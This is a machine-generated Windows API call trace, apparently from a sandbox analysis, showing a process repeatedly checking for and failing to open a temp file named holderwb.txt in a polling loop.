	[0099.453] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.454] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.454] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.454] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.455] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.455] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.455] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.455] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.455] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.455] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.456] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.456] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.456] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.456] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.456] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.456] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.456] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.457] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.457] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.457] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.457] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.457] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.457] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.458] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.458] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.458] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.459] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.459] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.459] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.459] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.460] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.460] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.460] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.460] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.460] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.460] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.460] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.461] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.461] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.461] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.461] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.461] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.461] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.461] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.462] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.462] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.462] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.462] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.463] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.463] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.463] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.464] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.464] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.464] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.464] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.464] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.466] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.466] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.466] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.466] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.466] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.466] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.466] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.467] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.467] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.467] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.467] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.467] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.467] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.468] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.468] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.468] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.468] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.469] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
